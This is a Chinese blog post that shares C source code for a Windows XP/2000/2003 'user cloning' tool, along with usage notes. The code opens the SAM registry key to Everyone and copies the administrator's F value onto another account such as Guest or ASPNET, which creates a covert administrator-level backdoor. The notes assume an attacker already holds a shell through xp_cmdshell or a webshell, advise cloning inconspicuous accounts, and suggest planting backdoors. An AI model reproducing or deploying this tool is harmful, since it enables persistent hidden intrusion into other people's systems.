支持XP/2k/2k3下完美进行任意用户克隆的C源码

软件作者: pt007[at]vip.sina.com版权所有,转载请注明版权
信息来源: I.S.T.O信息安全团队(http://blog.csdn.net/I_S_T_O)

本程序是基于dahubaobao的源程序的基础上进行了修改,改正了源程序中的一个严重BUG(原程序会引起用户管理的混乱),本版本加入了注册表提权和恢复功能,因此能够完美的支持XP/2000/2003,下一个版本我打算实现直接输入用户名克隆和密码修改功能!感谢dahubaobao和sinister的指点
  SHELL里可执行是指:至少有一个管理员权限的shell,如:jsp/MYSQL/SERV提权/反弹CMDSHELL
软件使用问题整理:
引用第46楼kuba8于2007-04-25 20:16发表的  :
我发现在国外有些机上不能执行,不知道为什么~
1、这种情况很可能是SAM键值做了安全设置,比如只允许system完全控制,administrators组成员连读取权限都没有,解决方法是获得一个system权限的SHELL,比如用SQL的XP_CMDSHELL来运行这个命令,或者利用服务启动的后门一般都是system权限的,所以你可以找一个第三方的后门程序来执行这个程序。
2、最近我在做一个渗透项目的时候发现,如果服务器为域服务器,也会出现clone5 -l列不出或列不全用户的情况,这种情况下建议大家不要使用任何的用户克隆类软件,否则把用户的机器搞出问题了就不好玩了,建议大家可以留个后门,解决方案等有时间再进行研究。
3、2000下停用了账号依然可以正常使用,03下面必须启用,删除了克隆用户也没问题,总之和正常用户一样进行操作就可以了,克隆完之后要使用net user aspnet test来修改密码。
4、克隆之后会启用该用户。
5、测试克隆用户的方法:
runas /user:aspnet cmd
net share (能执行代表具有管理员权限)
6、任意用户均可以克隆,建议大家的眼光不要局限克隆GUEST,多克隆其它的一些账号,比如ASPNET和tsinternetuser等。

Code Language : C
  1. #include <windows.h>
  2. #include <string.h>
  3. #include <stdio.h>
  4. #include <aclapi.h>
  5.  
  6. char name [ 50 ] [ 30 ];
  7. int KeyN= 0;
  8. LPTSTR lpObjectName;
  9. SE_OBJECT_TYPE ObjectType; //#include <aclapi.h>
  10. PACL OldDACL,NewDACL;
  11. PSECURITY_DESCRIPTOR SD;
  12. EXPLICIT_ACCESS ea;
  13. //OpenKey(),ViewUser(),ListUser()函数用到的变量
  14.  
  15. //显示用户名对应的安全标识符:
  16. void OpenKey ( char *key );
  17. int ViewUser ( char *key );
  18. int ListUser ( void ); //列出用户名和类型值(用户SID)
  19. int Clone ( char *C_sid ); //克隆帐户
  20. void Usage ( void ); //帮助信息
  21.  
  22. //设置注册表的存取权限:
  23. void new ( );
  24. void old ( );
  25.  
  26. void main ( int argc, char *argv [ ] )
  27. {
  28. char C_Sid [ 10 ];
  29. int n;
  30. if (argc< 2 )
  31. {Usage ( );
  32. return; }
  33.  
  34. //提升注册表SAM键的权限:
  35. new ( );
  36.  
  37. //如何使用命令行参数的方法:
  38. for (n= 1;n<argc;n++ )
  39. {
  40. if (argv [n ] [ 0 ] == '-' )
  41. {
  42. switch (argv [n ] [ 1 ] )
  43. {
  44. case '?':
  45. case 'h':
  46. case 'H':Usage ( );
  47. break;
  48.  
  49. case 'l':
  50. case 'L':ListUser ( );
  51.       old ( );
  52. break;
  53.  
  54. case 'c':
  55. case 'C':
  56. if (argc< 3 )
  57. { printf ( "Useage:%s -c 1F5/n",argv [ 0 ] );
  58.  old ( );
  59.   break; }
  60. strcpy (C_Sid,argv [ 2 ] ); //获得屏幕输入并存入C_Sid字符数组
  61. if (strlen (C_Sid )<= 10 )
  62. Clone (C_Sid );
  63. else
  64. printf ( "Error/n" );
  65. //恢复注册表的权限:
  66. old ( );
  67.  
  68.       break;
  69.  
  70. }
  71. }
  72. }
  73. }
  74.  
  75.  
  76. void OpenKey ( char *key )
  77. {
  78. HKEY hkey; //注册表键值的句柄
  79. DWORD dwIndex= 0,lpcbname= 100,ret= 0;
  80. char T_name [ 100 ],Buffer [ 100 ];
  81. FILETIME lpftlast;
  82. int i= 0;
  83. //下面是字符数组清0:
  84. ZeroMemory (Buffer, 100 );
  85. ZeroMemory (T_name, 100 );
  86. ZeroMemory (name, 1500 );
  87.  
  88. RegOpenKeyEx (HKEY_LOCAL_MACHINE, //根键名或已打开项的句柄
  89. key, //传递一个参数,欲打开的注册表项
  90. 0, //未用,设为0即可
  91. KEY_ALL_ACCESS, //描述新键值安全性的访问掩码
  92. //它们的组合描述了允许对这个项进行哪些操作
  93. &hkey ); //装载上面打开项的句柄
  94.  
  95. for (i= 0;ret==ERROR_SUCCESS;i++,dwIndex++ ) //遍历子键中的每个值
  96. {
  97. ret=RegEnumKeyEx (hkey,dwIndex,T_name,&lpcbname,
  98. NULL, NULL, NULL,&lpftlast );
  99. //dwIndex:欲获取的子项的索引。第一个子项的索引编号为零
  100. //T_name:用于装载指定索引处项名的一个缓冲区
  101. //&lpcbname:指定一个变量,用于装载lpName缓冲区的实际长度(包括空字符)。
  102. //一旦返回,它会设为实际装载到lpName缓冲区的字符数量
  103. //NULL:未用,设为零
  104. //NULL:项使用的类名
  105. //NULL:用于装载lpClass缓冲区长度的一个变量
  106. //&lpftlast:FILETIME,枚举子项上一次修改的时间
  107.  
  108. strcat (name [i ],T_name ); //将每个子键名加入到name数组中 
  109.  
  110. ZeroMemory (T_name, 100 ); //清0
  111. lpcbname= 100;
  112. }
  113. //printf("subkey=%s/n",name[0]);//administrator
  114. RegCloseKey (hkey ); //关闭注册键
  115.  
  116. //拼接用户名:
  117. for (KeyN= 0;KeyN<i;KeyN++ )
  118. {
  119. strcat (Buffer,name [KeyN ] );
  120. strcat (Buffer, "/n/r" );
  121. }
  122. }
  123.  
  124. int ViewUser ( char *key )
  125. {
  126. HKEY hkey;
  127. DWORD lpType= 0,ret;
  128. char S_name [ 10 ];
  129.  
  130.  
  131. ret=RegOpenKeyEx (HKEY_LOCAL_MACHINE,
  132. key, //如://SAM//SAM//Domains//Account//Users//Names//administrator
  133. 0,
  134. KEY_ALL_ACCESS,
  135. &hkey );
  136.  
  137. if (ret==ERROR_SUCCESS )
  138.       ;
  139. else
  140. return 0;
  141.  
  142. RegQueryValueEx (hkey, NULL, NULL,&lpType, NULL, NULL );
  143. //NULL:要获取值的名字
  144. //NULL:未用,设为零
  145. //&lpType:用于装载取回数据类型的一个变量
  146. //NULL:用于装载指定值的一个缓冲区
  147. //NULL:用于装载lpData缓冲区长度的一个变量
  148.  
  149. wsprintf (S_name, "%X/n/r",lpType );
  150. printf ( "%s",S_name );
  151.  
  152. return 1;
  153. }
  154.  
  155. int ListUser ( void )
  156. {
  157. int n;
  158. char Buffer [ 70 ]= "SAM//SAM//Domains//Account//Users//Names//";
  159. char Temp [ 40 ]= { '/0' };
  160.  
  161. OpenKey ( "SAM//SAM//Domains//Account//Users//Names" );
  162.  
  163. for (n= 0;n<KeyN;n++ )
  164. {
  165. strcat (Buffer,name [n ] ); //SAM//SAM//Domains//Account//Users//Names//administrator
  166. wsprintf (Temp,name [n ] );
  167. strcat (Temp, "===>" );
  168. printf ( "%s",Temp );
  169. ViewUser (Buffer );
  170. strcpy (Buffer, "SAM//SAM//Domains//Account//Users//Names//" );
  171. }
  172. return 1;
  173. }
  174.  
  175. int Clone ( char *C_sid )
  176. {
  177. HKEY hkey,C_hkey;
  178. DWORD Type=REG_BINARY,SizeF= 1024* 2,SizeV= 1024* 10,ret;
  179. char CloneSid [ 100 ];
  180. LPBYTE lpDataF,lpDataV;
  181. //为注册表的F与V值分配空间:
  182. lpDataF = (LPBYTE ) malloc ( 1024* 2 );
  183. lpDataV = (LPBYTE ) malloc ( 1024* 10 );
  184. //清0:
  185. ZeroMemory (lpDataF, 1024* 2 );
  186. ZeroMemory (lpDataV, 1024* 10 );
  187. ZeroMemory (CloneSid, 100 );
  188.  
  189. strcpy (CloneSid, "SAM//SAM//Domains//Account//Users//00000" );
  190. strcat (CloneSid,C_sid ); //如:SAM//SAM//Domains//Account//Users//000001F5
  191.  
  192. ret= RegOpenKeyEx (HKEY_LOCAL_MACHINE,
  193. "SAM//SAM//Domains//Account//Users//000001F4", //administrator的子键
  194. 0,
  195. KEY_ALL_ACCESS,
  196. &hkey );
  197.  
  198. if (ret==ERROR_SUCCESS )
  199. ;
  200. else
  201. return 0;
  202. //读出F值然后存入lpDataF中:
  203. ret = RegQueryValueEx (hkey, "F", NULL,
  204. &Type,lpDataF,&SizeF );
  205.  
  206. if (ret==ERROR_SUCCESS )
  207. ;
  208. else
  209. return 0;
  210. //读出v值然后存入lpDataV中:
  211. ret = RegQueryValueEx (hkey, "V", NULL,
  212. &Type,lpDataV,&SizeV );
  213.  
  214. if (ret==ERROR_SUCCESS )
  215. ;
  216. else
  217. return 0;
  218. //下面是打开需克隆用户如guest的键值:
  219. ret = RegOpenKeyEx (HKEY_LOCAL_MACHINE,
  220. CloneSid, //如:SAM//SAM//Domains//Account//Users//000001F5
  221. 0,
  222. KEY_ALL_ACCESS,
  223. &C_hkey );
  224.  
  225. if (ret==ERROR_SUCCESS )
  226. ;
  227. else
  228. return 0;
  229. //将lpDataF中的值来替换需克隆用户的F值:
  230. ret= RegSetValueEx (C_hkey, "F", 0,
  231. REG_BINARY,
  232. lpDataF,
  233. SizeF );
  234. //C_hkey:根键名或已打开项的句柄
  235. //“F”:要设置值的名字
  236. //0:未用,设为零
  237. //REG_BINARY:要设置的数量类型
  238. //lpDataF:包含数据的缓冲区中的第一个字节
  239. //SizeF:lpData缓冲区的长度
  240.  
  241. if (ret==ERROR_SUCCESS )
  242. printf ( "Clone User Success/n" );
  243. else
  244. {
  245. printf ( "Clone User FAIL/n" );
  246. return 0;
  247. }
  248. //关闭已打开的注册表句柄:
  249. RegCloseKey (hkey );
  250. RegCloseKey (C_hkey );
  251.  
  252. return 1;
  253. }
  254.  
  255. void new ( )
  256. { //下面是设置SAM键的权限为everyone:
  257.       lpObjectName = "MACHINE//SAM//SAM";
  258.  
  259.       ObjectType =SE_REGISTRY_KEY;
  260.  
  261.       //建立一个空的ACL;
  262.       if (SetEntriesInAcl ( 0, NULL, NULL, &
  263.  
  264.       OldDACL )!=ERROR_SUCCESS )
  265.             return;
  266.  
  267.       if (SetEntriesInAcl ( 0, NULL, NULL, &NewDACL )!=ERROR_SUCCESS )
  268.             return;
  269.  
  270.       //获取现有的ACL列表到OldDACL:
  271.       if (GetNamedSecurityInfo (lpObjectName, ObjectType,
  272.                                        DACL_SECURITY_INFORMATION,
  273.                                         NULL, NULL,
  274.                                        &OldDACL,
  275.                                         NULL, &SD ) != ERROR_SUCCESS )
  276.                 printf ( "指定的键不存在!/n" );
  277. // 本文转自 C++Builder 研究 - http://www.ccrun.com/article.asp?i=563&d=tshoza
  278.   //设置用户名"Everyone"对指定的键有所有操作权到结构ea:
  279.       ZeroMemory (&ea, sizeof (EXPLICIT_ACCESS ) );
  280.  
  281.       BuildExplicitAccessWithName (&ea,
  282.                                                 "Everyone",          // name of trustee
  283.                                                 KEY_ALL_ACCESS,        // type of access
  284.                                                 SET_ACCESS,          // access mode
  285.                                                 SUB_CONTAINERS_AND_OBJECTS_INHERIT ); //子键继承它的权限
  286.  
  287.      
  288.       //合并结构ea和OldDACL的权限列表到新的NewDACL:
  289.       if (SetEntriesInAcl ( 1, &ea, NULL, &NewDACL ) != ERROR_SUCCESS )
  290.                 goto Cleanup;
  291.  
  292.       //把新的ACL写入到指定的键:
  293.       SetNamedSecurityInfo (lpObjectName, ObjectType,
  294.                DACL_SECURITY_INFORMATION,
  295.                 NULL, NULL,
  296.                NewDACL,
  297.                 NULL );
  298. //释放指针
  299.       Cleanup:
  300.       if (SD != NULL )
  301.                LocalFree ( (HLOCAL ) SD );
  302.       if (NewDACL != NULL )
  303.                LocalFree ( (HLOCAL ) NewDACL );
  304.       if (OldDACL != NULL )
  305.                LocalFree ( (HLOCAL ) OldDACL );
  306. }
  307.  
  308. void old ( )
  309. {
  310. //恢复注册表的权限:
  311.  
  312.       BuildExplicitAccessWithName (&ea,
  313.                                                 "system",          // name of trustee
  314.                                                 KEY_ALL_ACCESS,        // type of access
  315.                                                 SET_ACCESS,          // access mode
  316.                                                 SUB_CONTAINERS_AND_OBJECTS_INHERIT ); //让子键继承他的权限
  317.  
  318.       if (SetEntriesInAcl ( 1, &ea, NULL, &OldDACL ) != ERROR_SUCCESS )
  319.           goto Cleanup;
  320.  
  321.       //把旧的ACL写入到指定的键:
  322.       SetNamedSecurityInfo (lpObjectName, ObjectType,
  323.                DACL_SECURITY_INFORMATION,
  324.                 NULL, NULL,
  325.                OldDACL,
  326.                 NULL );
  327.       //释放指针
  328.       Cleanup:
  329.       if (SD != NULL )
  330.                LocalFree ( (HLOCAL ) SD );
  331.       if (NewDACL != NULL )
  332.                LocalFree ( (HLOCAL ) NewDACL );
  333.       if (OldDACL != NULL )
  334.                LocalFree ( (HLOCAL ) OldDACL );
  335.  
  336. }
  337.  
  338.  
  339. //输出帮助的典型方法:
  340. void Usage ( void )
  341. {
  342. fprintf (stderr, "===============================================================================/n"
  343. "/t名称:2003与2000下克隆任意用户程序/n"
  344. "/t环境:Win2003 + Visual C++ 6.0/n"
  345. "/t作者:pt007@vip.sina.com/n"
  346. "/tQQ:7491805/n"
  347. "/t声明:本软件由pt007原创,转载请注明出处,谢谢!/n"
  348. "/n"
  349. "/t使用方法:/n"
  350. "/t/"-H/":帮助信息/n"
  351. "/t/"-L/":列出系统中用户对应的SID/n"
  352. "/t/"-C 1F5/":克隆帐户,输入SID即可/n"
  353. "/t 对应注册表HKEY_LOCAL_MACHINE//SAM//SAM//Domains//Account//Users/n"
  354. "/t 对应注册表HKEY_LOCAL_MACHINE//SAM//SAM//Domains//Account//Users//Names/n"
  355. "/n"
  356. "/t注意事项:/n"
  357. "/t由于SID的前5位都是/"0/",所以不必输入,直接输入最后三位/n"
  358. "/t例如:000001F5,则直接输入1F5,即可将Guest帐户克隆/n"
  359. "===============================================================================/n" );
  360. }
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值